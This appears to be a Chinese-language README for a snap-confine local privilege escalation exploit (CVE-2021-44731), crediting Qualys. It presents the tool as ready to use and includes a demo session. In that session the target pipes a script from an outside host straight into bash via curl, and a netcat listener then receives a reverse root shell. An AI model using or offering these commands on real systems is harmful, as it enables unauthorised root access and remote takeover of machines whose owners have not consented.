CVE-2021-44731-snap-confine-SUID

CVE-2021-44731 本地提权漏洞利用程序，适用于 snap-confine 2.54.2 及更低版本

所有功劳归于 Qualys，感谢其发现此漏洞并提供详细的利用程序。

https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt

简单粗暴的 snap-confine 本地提权（LPE）利用程序。将搜索存在漏洞的 snap-confine 版本，若找到则会进行利用。

返回一个 root shell，使用 netcat 接收

$id
uid=1001(vulnchain) gid=1001(vulnchain) groups=1001(vulnchain)
$ curl http://10.8.0.134/snap_confine_LPE.sh | bash
curl http://10.8.0.134/snap_confine_LPE.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2073  100  2073    0     0  28397      0 --:--:-- --:--:-- --:--:-- 28013
Non-vulnerable version found: 2.54.3
Vulnerable version found: 2.44.3 at /usr/lib/snapd/snap-confine
Vulnerable version found: 2.44.3 at /home/vulnchain/snap-confine
Performing actions with a vulnerable version...
Chosen vulnerable version: 2.44.3

Root Shell

┌──(root㉿kali)-[~]
└─# nc -lvnp 4447    
listening on [any] 4447 ...
connect to [10.8.0.134] from (UNKNOWN) [10.10.111.136] 56050
bash: cannot set terminal process group (609): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-10-14:/# id
id
uid=0(root) gid=0(root) groups=0(root),1001(vulnchain)
root@ip-10-10-10-14:/#

CVE-2021-44731-snap-confine-SUID

最受欢迎

CVE-2021-44731-snap-confine-SUID

Root Shell